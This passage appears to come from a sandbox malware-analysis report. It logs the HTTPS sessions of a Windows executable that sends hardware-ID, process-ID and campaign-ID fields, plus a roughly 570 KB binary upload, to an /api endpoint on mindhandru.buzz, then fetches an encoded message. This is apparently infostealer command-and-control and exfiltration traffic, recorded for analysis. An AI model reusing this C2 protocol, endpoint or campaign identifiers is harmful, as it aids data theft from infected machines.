2024-12-27 07:45:02 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0S5Q0GTKT2X3EY5HM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20431 Host: mindhandru.buzz
2024-12-27 07:45:02 UTC	15331	OUT	Data Raw: 2d 2d 30 53 35 51 30 47 54 4b 54 32 58 33 45 59 35 48 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 32 32 43 39 44 32 35 36 46 39 45 37 43 41 31 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 30 53 35 51 30 47 54 4b 54 32 58 33 45 59 35 48 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 30 53 35 51 30 47 54 4b 54 32 58 33 45 59 35 48 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --0S5Q0GTKT2X3EY5HMContent-Disposition: form-data; name="hwid"922C9D256F9E7CA1BEBA0C6A975F1733--0S5Q0GTKT2X3EY5HMContent-Disposition: form-data; name="pid"3--0S5Q0GTKT2X3EY5HMContent-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-27 07:45:02 UTC	5100	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-12-27 07:45:04 UTC	1132	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:45:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lh59pu9sppf3g8c52343cfail8; expires=Tue, 22 Apr 2025 01:31:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dYhoqVMzWYSQwU7cokMhTxHZqigpO%2FMS1Bvvv%2Bgf%2B3wn602nayAB8pCwFPhzXfNc5xKjsubc%2B58nD7xCPE62QTja9DnBY4XFPNQyNyjJrfs7W4pjb%2F7Fq3ETbBI7VjEVX4w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87b057480b4350-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1601&min_rtt=1599&rtt_var=605&sent=14&recv=28&lost=0&retrans=0&sent_bytes=2838&recv_bytes=21391&delivery_rate=1800246&cwnd=206&unsent_bytes=0&cid=723071ac6a4356bf&ts=2016&x=0"
2024-12-27 07:45:04 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:45:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	104.21.11.101	443	7332	C:\Users\user\Desktop\Idau8QuYa3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:45:06 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9ZXPC8CQJLMWURHZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1275 Host: mindhandru.buzz
2024-12-27 07:45:06 UTC	1275	OUT	Data Raw: 2d 2d 39 5a 58 50 43 38 43 51 4a 4c 4d 57 55 52 48 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 32 32 43 39 44 32 35 36 46 39 45 37 43 41 31 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 39 5a 58 50 43 38 43 51 4a 4c 4d 57 55 52 48 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 39 5a 58 50 43 38 43 51 4a 4c 4d 57 55 52 48 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 39 5a Data Ascii: --9ZXPC8CQJLMWURHZContent-Disposition: form-data; name="hwid"922C9D256F9E7CA1BEBA0C6A975F1733--9ZXPC8CQJLMWURHZContent-Disposition: form-data; name="pid"1--9ZXPC8CQJLMWURHZContent-Disposition: form-data; name="lid"PsFKDg--pablo--9Z
2024-12-27 07:45:06 UTC	1126	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:45:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a87a5qlmuvncu46ak35lsri56q; expires=Tue, 22 Apr 2025 01:31:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F76SrcHzuYJ8s1UcZi6%2BSNFY7HXP1nz4EOhu%2By9Xes8jsF6lap3OnvR57VPsHVN%2B8TbMddt6Ski0rS9G2Azwu6CSiOZmcPkPqpOiB77rD6rS6m%2F5uwCgShM5ETskKuEQKKA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87b06e5ce81921-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1561&min_rtt=1556&rtt_var=593&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2189&delivery_rate=1829573&cwnd=139&unsent_bytes=0&cid=dfd65b86dc8d42da&ts=791&x=0"
2024-12-27 07:45:06 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:45:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49738	104.21.11.101	443	7332	C:\Users\user\Desktop\Idau8QuYa3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:45:08 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=X62FKJT778XG3E2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 569814 Host: mindhandru.buzz
2024-12-27 07:45:08 UTC	15331	OUT	Data Raw: 2d 2d 58 36 32 46 4b 4a 54 37 37 38 58 47 33 45 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 32 32 43 39 44 32 35 36 46 39 45 37 43 41 31 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 58 36 32 46 4b 4a 54 37 37 38 58 47 33 45 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 58 36 32 46 4b 4a 54 37 37 38 58 47 33 45 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 58 36 32 46 4b Data Ascii: --X62FKJT778XG3E2Content-Disposition: form-data; name="hwid"922C9D256F9E7CA1BEBA0C6A975F1733--X62FKJT778XG3E2Content-Disposition: form-data; name="pid"1--X62FKJT778XG3E2Content-Disposition: form-data; name="lid"PsFKDg--pablo--X62FK
2024-12-27 07:45:08 UTC	15331	OUT	Data Raw: 3e d3 11 5f 81 01 29 e6 04 c0 b7 c1 b3 98 87 df d8 79 94 6f 36 e2 f0 37 58 9c 71 f9 ff 8c 00 f2 90 0a 3c f2 db 10 dc 0f e2 0c a9 b9 7e 80 99 cb 07 4e c3 01 91 21 38 ee 51 d9 5a 07 bf 99 fd 98 0d c5 90 95 62 5e 94 2f 7d 76 2d e5 77 de 54 cb 08 04 ed e5 db 73 d6 fa 40 6b db 25 ef e7 71 5e cf ab 45 3c 3d 70 84 36 f1 e6 68 8d 06 2e c7 bd 26 59 2d ff f2 0f fc 40 98 24 ba f5 3e 85 b9 c8 9e f9 f2 d7 b6 76 2c a5 3c 4e c1 3c ef 1b ee 8c 66 7a a3 8f 32 e8 7c 42 0f 7c af 5c ab 24 12 c6 36 73 de 5d 1a b4 6a da c9 ef 41 53 4e 86 98 a4 2c 5f 6d 5f fc 5b 0c 47 24 a8 de 44 2c 4c 48 dc d6 8c 1e 35 95 cb ea 0f 43 e4 4d 2e 5f 07 db 9c ef 96 f6 5f e5 ab fb f8 73 40 d2 d2 08 73 e2 b4 f3 ae 27 a9 a8 ff 50 6c 5d 85 d2 b5 16 6a 06 95 e2 86 7e 23 94 8f 49 f2 39 93 f8 cc ec b4 d6 Data Ascii: >_)yo67Xq<~N!8QZb^/}v-wTs@k%q^E<=p6h.&Y-@$>v,<N<fz2\|B\|\$6s]jASN,_m_[G$D,LH5CM.__s@s'Pl]j~#I9
2024-12-27 07:45:08 UTC	15331	OUT	Data Raw: b0 3b 38 09 1f ec 25 5a ee f0 95 5e ff d5 ff fa 5b 9b 2a f7 88 9a 9a 42 49 30 54 1c 62 0a 31 66 73 f1 60 db 8e 7f b5 58 6a 5d 04 62 90 fe 3b 72 7d fe 25 48 9a f9 ef 10 eb dc 6c 0d 6f 40 23 21 01 c4 29 f2 ff 35 68 5a aa bf 4f d4 04 22 e0 30 86 77 72 cf ee 3e 20 bd 9f a6 8a c0 f1 f5 eb fb 64 1b 65 92 a1 ea d5 9d 75 fd 72 95 52 60 b1 f1 06 e4 2b fa 2c fd b8 9a 68 fb 47 f4 95 ec fb bc 3d 7f 01 45 30 ae 9e f0 f3 f8 9f b6 82 c8 3a e4 40 8b b7 fe 20 48 c1 65 c6 f8 f4 28 44 0b 47 07 c0 c7 16 54 8a 38 f2 eb ba 1a 9e b8 ab 06 4c c2 6e c2 03 4e 10 11 7c 98 8a 78 4d 2a d0 f2 c8 dd db a0 b3 25 7f 8a 54 3c 5f bb 86 2f 35 49 ef 49 45 8c 94 90 b9 4c 58 09 d8 3b c0 22 26 ee 23 79 73 0a 98 11 48 20 7b f5 78 32 bf 7e 23 5d 02 9a d0 ae 25 37 a8 d7 51 e2 57 91 de b7 12 82 89 Data Ascii: ;8%Z^[BI0Tb1fs`Xj]b;r}%Hlo@#!)5hZO"0wr> deurR`+,hG=E0:@ He(DGT8LnN\|xM%T<_/5IIELX;"&#ysH {x2~#]%7QW
2024-12-27 07:45:08 UTC	15331	OUT	Data Raw: bf ca 3d 97 64 da 97 77 7e 2e 2f df 32 27 13 89 0c c2 1d f4 dd bf c9 37 73 53 01 4d 95 48 a1 a2 c9 dc 28 9c 22 70 e7 e0 58 3b 75 c4 54 99 cb 3e c7 80 03 3c 87 42 91 0a 70 95 0b 1c c2 bb 17 2b bf 9c 66 3e 36 a8 c4 c2 0e e3 ef de be d9 75 d7 8d 72 7e f2 3f d1 78 79 01 10 af 41 44 79 46 3e 0a 38 b7 16 3c 7d 0a 97 80 3a ed ff 6d ad d5 99 c0 e3 7d 03 fd 6f d1 96 f3 37 6e c4 20 5f 99 ad fa ed cd 76 5c d2 9d da 4b bf 8b c4 c2 bf 39 39 88 d7 4d d3 aa 21 20 1e 0b b9 8c ef 5b 33 c3 fa c9 01 87 b6 19 52 58 0d 9e 11 5b 82 12 cb 13 d3 e2 68 13 e7 79 83 a6 75 f1 90 35 b7 d5 96 f9 4d 6a 49 29 42 78 41 f0 56 48 cd 14 64 d4 07 39 03 02 a3 60 66 58 56 78 a4 fa f8 0b ba 36 bf da 7f 61 2f 0f 93 9a 01 66 01 cd 8c d5 42 89 80 43 0b ed 6e 69 e8 b5 83 07 f6 6c c4 ce c6 d7 90 b9 Data Ascii: =dw~./2'7sSMH("pX;uT><Bp+f>6ur~?xyADyF>8<}:m}o7n _v\K99M! [3RX[hyu5MjI)BxAVHd9`fXVx6a/fBCnil
2024-12-27 07:45:08 UTC	15331	OUT	Data Raw: fe 39 9c ed 51 7d e2 68 93 9e 8d b2 e0 67 92 28 dc 23 48 38 19 7a 91 69 40 37 e9 96 a3 cb bd a0 63 c2 e1 10 1f 4e 14 0a 25 59 2b 81 f7 5c b7 cb ce f7 25 20 8e 68 b3 be 71 20 b4 81 df 14 e7 ef 9a 28 48 e5 34 8d 31 3d b8 60 d5 6a bc 9e 8e bd 75 0a 58 ba 70 de 89 4a df 3d a6 8b b8 1d ca 06 bf ec 40 ce c3 9a d7 c7 a1 00 79 71 f1 9b 6b d7 9a 6c c6 d9 88 cd be 7b 34 36 e5 3b 62 68 a6 c2 53 03 dc 5f 42 44 a4 a3 88 d2 2d 4b 3a 41 05 13 c1 d8 40 d1 8d de a8 2b df 8c c3 37 83 f9 c5 cf 70 c6 d4 ea fb 72 1c 62 8e 4a e8 8f 3e e8 51 bd 8e d2 ee 1e 92 db f9 19 6a a0 8b 54 88 49 20 11 1c b2 b0 92 05 25 1b 7e fc 18 60 3d 4c 72 32 93 ca 37 0a 23 23 38 ae e6 bd 4e 82 bf bc 76 9c f8 91 c1 f0 c3 17 2a ae 3a 2d 69 30 a8 4f 22 60 6f 68 a8 64 7f ed 4e 85 5a a9 14 8a 8e 54 8d ff Data Ascii: 9Q}hg(#H8zi@7cN%Y+\% hq (H41=`juXpJ=@yqkl{46;bhS_BD-K:A@+7prbJ>QjTI %~`=Lr27##8Nv*:-i0O"`ohdNZT
2024-12-27 07:45:08 UTC	15331	OUT	Data Raw: 05 1d db ad db f9 9c b6 2f aa 0f 3d f1 f2 fc 95 ae cd f6 39 9c 51 06 f9 f2 21 0c ac 07 4f cb 8f bc 8e bb fe cd 10 75 c4 e9 04 f3 c3 58 b8 67 cb 93 d0 85 bc 13 a8 7e 94 80 14 bb b8 45 74 2c 12 89 fb 74 b9 57 cb db 3e 32 87 49 ff 85 30 de 3e 72 88 f4 cf 94 80 2f 69 be 00 47 31 12 9d 9b 2e df 0d c0 36 63 a3 7d a2 20 9d 2d 36 a4 c8 8a 15 5f 20 03 84 b5 d5 0d 54 9b 54 fb f7 12 40 ed ce 47 5f af 11 be a0 ed a4 2a 01 ff 24 1c 9c 1e bf a6 67 0c 36 4e 8d a3 74 f1 62 19 38 d8 29 16 62 68 bc 56 03 ba 13 35 4e bf cd 2c 56 4e 89 82 10 76 bd 54 b6 2e 78 b9 9c e0 51 95 aa 0d 44 40 ed 97 f1 58 52 8a 14 0d 82 52 c1 1a d8 b8 d2 6a 63 17 74 60 b7 55 18 5d ee a4 78 4c 60 9e 33 e2 0f 86 d1 37 df 18 59 5a 1f 9f e2 40 bc 0c 46 1b 07 c0 51 39 18 63 38 58 f4 ff a6 be d0 9b fc 38 Data Ascii: /=9Q!OuXg~Et,tW>2I0>r/iG1.6c} -6_ TT@G_*$g6Ntb8)bhV5N,VNvT.xQD@XRRjct`U]xL`37YZ@FQ9c8X8
2024-12-27 07:45:08 UTC	15331	OUT	Data Raw: 30 c4 64 a3 a0 31 26 e6 f5 0b 46 5c a8 12 68 8d 1c 9c 50 55 6b e8 ff ab f8 ac 88 20 27 08 2c 4a 6b 81 4e c1 02 21 f2 af be 55 37 6d 90 30 b6 19 4f ce 6e 63 9f 73 76 18 61 a0 68 26 f7 f3 cb 10 e7 ec be af ba 55 71 70 d0 21 bc c0 7c c2 aa 1b 99 f1 84 99 37 b4 96 57 64 3d 10 a5 cf d2 18 45 14 2b 62 5b 7e 5d d9 f5 cb da 40 09 13 bf ab 24 b8 b1 b7 db e2 b4 fe 50 56 bb 6e 6c d9 3e f0 b5 9c d2 1c 7e c8 aa 58 dd 24 05 20 87 79 80 61 ad 59 55 36 fa 0f ea c7 01 21 d3 06 0c e1 73 39 a7 b7 87 b6 71 cc 33 a7 1c 8c e8 00 05 3d 7e 1b 28 4f 02 a6 96 8a 18 59 01 e2 90 bc 52 76 15 87 7a 24 59 f2 e4 84 a7 27 a8 fa 4f f8 4e ee 93 32 e4 82 80 fd e3 3e 7e a0 db 36 a0 c2 50 c1 8d 3e 8c 8f 2c 7f d3 a5 bf 6a 4a b7 81 dc b2 fa ac 93 4c c5 ac 86 e7 46 04 18 c7 96 34 18 8a e3 88 b3 Data Ascii: 0d1&F\hPUk ',JkN!U7m0Oncsvah&Uqp!\|7Wd=E+b[~]@$PVnl>~X$ yaYU6!s9q3=~(OYRvz$Y'ON2>~6P>,jJLF4
2024-12-27 07:45:08 UTC	15331	OUT	Data Raw: 4d 6c ed f1 c4 cf 4f fc 66 27 8f 28 07 e2 0b fb 78 5d 19 84 5e 71 93 8f 95 e1 57 7f a4 98 38 2e cd 55 f3 c2 97 f3 a2 3e dc 35 cf 0b 75 6e 33 69 e1 b1 07 31 72 2a 8d 7a e0 d4 5b 45 95 86 44 c8 4c 02 ac 86 31 12 96 00 6e 47 79 52 85 86 49 4e 33 4d 1c 5c de de dd 4c e3 03 65 21 bf fa 00 a4 a4 bd 75 45 82 38 52 ef f8 b2 75 cb 44 49 39 23 d6 80 6c 64 19 ad 30 10 05 68 89 50 80 46 c9 10 c7 b6 2b bb 0a c5 07 94 e0 3a b1 77 79 b7 85 2d 0e c3 fe 56 f9 8a 2c 48 e0 72 bf 0e 1a 1c fa 55 d4 66 c4 0f c4 85 44 87 f7 e3 8b db bf 0e b4 ac 95 56 f1 07 19 53 50 31 3b cb bd 3a 8b e3 9a 4c c9 03 ed 7a b1 e5 86 ef 4c 4d 83 fa 1d 73 5a a4 4a 79 99 25 c2 ff 9d 8c 5c b4 04 10 95 5a 94 8e 4c 6f 4e 7c 11 9b d6 7e 89 5d b1 73 be 0d 41 0e 9a 72 a4 e6 8b 50 d4 d0 ff 88 27 1c 44 46 a3 Data Ascii: MlOf'(x]^qW8.U>5un3i1r*z[EDL1nGyRIN3M\Le!uE8RuDI9#ld0hPF+:wy-V,HrUfDVSP1;:LzLMsZJy%\ZLoN\|~]sArP'DF
2024-12-27 07:45:08 UTC	15331	OUT	Data Raw: a3 8c 9b e6 ab 45 b4 79 6b e5 73 9e 6d 33 1e 3d cc 0f e2 db 26 9a 1d 91 06 51 ef cc 7c 09 ac 87 17 dc 26 f7 fe 68 c5 18 ee fd 09 82 74 06 6b 8f 40 3c bf 0f b8 38 95 7a 9a 81 96 2d 76 1b e1 9c 25 d8 b9 73 17 df c8 7d 54 43 87 9d 58 33 6d 4f 4d 19 0f 39 27 7c 5e b9 12 2b c5 f6 96 f9 33 4e ed 7f c0 d8 36 5a 28 4c 2b d3 68 10 6a 80 c8 6e 9c b7 1b 52 1e 70 f0 23 f3 69 21 72 bc 7a e5 3d ae 28 18 4b a2 26 63 ad a4 c8 ec be ab 75 c6 a2 f6 61 bf f8 62 56 99 70 84 8b 93 f3 54 6f ab 19 b1 7b c6 e3 2e ed c4 14 d5 00 8b 26 09 b6 68 8a d1 d8 91 d5 09 96 84 18 15 4a a5 02 59 01 4a 2d e5 81 35 80 92 10 7f 73 92 34 02 91 14 ba 3a 30 0d 1e a5 d0 af ed 5f e7 6f 7a d9 c3 7c 50 2e d8 28 88 8e 22 77 18 7e e7 3d 19 fd a3 fc be 55 86 59 d9 bf 73 79 42 67 39 4b d9 66 d9 25 b9 85 Data Ascii: Eyksm3=&Q\|&htk@<8z-v%s}TCX3mOM9'\|^+3N6Z(L+hjnRp#i!rz=(K&cuabVpTo{.&hJYJ-5s4:0_oz\|P.("w~=UYsyBg9Kf%
2024-12-27 07:45:08 UTC	15331	OUT	Data Raw: a9 92 cc c8 2a 12 84 90 c7 ae 44 cd 64 e6 45 84 3f a4 13 2d 46 52 4b b9 d2 7f b1 a3 ae 7f da 9b 08 17 f8 08 6c 45 0c c9 6a 1f b9 89 6f fc 0a fe d2 14 15 c5 ea 35 07 7c 8a fc 33 44 0a 89 44 6c 89 bf 6a ea 20 86 fa 31 54 e7 31 11 c1 10 da a7 84 29 b0 b4 ed b3 20 8a 28 8d 2f 28 8b 0b b2 34 99 b8 70 43 e4 83 48 fc 0e c3 44 78 ae 9e b6 d3 63 f3 e4 22 83 c6 da 32 08 53 e2 6b 90 f0 ee 3f 83 0f f2 68 79 af ef 92 9a ed eb e8 2d 23 d3 77 af 22 62 a9 38 e5 66 cb dc cd 3e 03 ec ae fb 62 88 ca f7 52 6f 13 fd 97 51 ee bc 03 65 e2 bb 6c 8a 81 3f d7 ea 9b 92 7b 22 64 e5 cf 8c 28 08 ec f7 54 4b d4 3a 8f 85 75 43 05 d9 6e 2f 81 4d 72 28 3f 46 02 77 e5 73 b1 20 37 6a 99 c0 69 bd 49 31 25 3b 30 5f 87 c7 1f c7 c2 b6 8e cc c7 3e fb b8 52 fe 5c a2 e6 e1 5e de 57 aa b1 fd da 04 Data Ascii: *DdE?-FRKlEjo5\|3DDlj 1T1) (/(4pCHDxc"2Sk?hy-#w"b8f>bRoQel?{"d(TK:uCn/Mr(?Fws 7jiI1%;0_>R\^W
2024-12-27 07:45:13 UTC	1126	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:45:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kipun8cbs89b8itg4ovdjap2a6; expires=Tue, 22 Apr 2025 01:31:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=epPWKBJcjGfmURXv3ZryNndzFlvYsntyp1S31lzAIBCBZSfuUm8cvAYOazNA0Qy%2B2IpWQ6SGm3YvWmrHEGHeQ3eJsb8prI8rLVmEEzsNscwZ7gqP670J33k3oF1lN2yx6qQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87b07f2f5f4405-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2134&min_rtt=2134&rtt_var=1067&sent=338&recv=593&lost=0&retrans=1&sent_bytes=4214&recv_bytes=572357&delivery_rate=43538&cwnd=224&unsent_bytes=0&cid=33cb5d199484f91b&ts=4904&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	104.21.11.101	443	7332	C:\Users\user\Desktop\Idau8QuYa3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:45:14 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: mindhandru.buzz
2024-12-27 07:45:14 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 39 32 32 43 39 44 32 35 36 46 39 45 37 43 41 31 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=922C9D256F9E7CA1BEBA0C6A975F1733
2024-12-27 07:45:15 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:45:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e0jb7ijcapuscch8u7t7nm76ev; expires=Tue, 22 Apr 2025 01:31:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CybN5DuAxfyjDiwNB36LXtkFGShwGjo4CFJ9uOvST4k7EtKnKk8NhIW%2F%2Fjzwk1%2Bm9gLy85BPk02HdtlLEhG6O%2BdVOS0SzT5UU5wFZse0juT0tyVD2Rtcg5ga7iUPI7Qb54s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87b0a65cbf4327-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1598&min_rtt=1584&rtt_var=622&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=981&delivery_rate=1720683&cwnd=245&unsent_bytes=0&cid=b74ce694cc520cbb&ts=780&x=0"
2024-12-27 07:45:15 UTC	222	IN	Data Raw: 64 38 0d 0a 6f 79 72 45 51 30 42 72 57 75 46 4d 6d 34 76 39 61 65 6b 62 52 6c 42 74 2b 63 4d 6a 4a 35 4e 37 61 34 64 64 71 68 49 42 31 4a 62 34 55 65 59 32 59 6c 46 34 69 54 6a 76 2b 38 63 31 78 6b 64 70 59 56 58 4d 37 52 45 57 70 6c 56 61 74 6d 36 45 49 7a 65 49 75 64 42 65 6f 53 49 74 4e 33 57 54 4c 66 58 76 6b 67 54 48 66 6a 34 31 54 39 58 68 52 56 4f 78 51 56 75 72 66 38 38 77 4f 2b 54 72 6a 31 48 6d 4e 6d 4a 52 65 49 6b 34 37 2f 76 48 4e 63 5a 48 61 57 46 56 7a 4f 30 52 46 71 5a 56 57 72 5a 75 68 43 4d 33 69 4c 6e 4f 51 36 6f 6d 48 45 51 6f 67 43 4c 2f 35 4a 42 48 6a 47 4d 6a 63 6b 48 62 70 56 63 46 71 55 74 48 70 54 69 49 4b 44 47 70 79 77 3d 3d 0d 0a Data Ascii: d8oyrEQ0BrWuFMm4v9aekbRlBt+cMjJ5N7a4ddqhIB1Jb4UeY2YlF4iTjv+8c1xkdpYVXM7REWplVatm6EIzeIudBeoSItN3WTLfXvkgTHfj41T9XhRVOxQVurf88wO+Trj1HmNmJReIk47/vHNcZHaWFVzO0RFqZVWrZuhCM3iLnOQ6omHEQogCL/5JBHjGMjckHbpVcFqUtHpTiIKDGpyw==
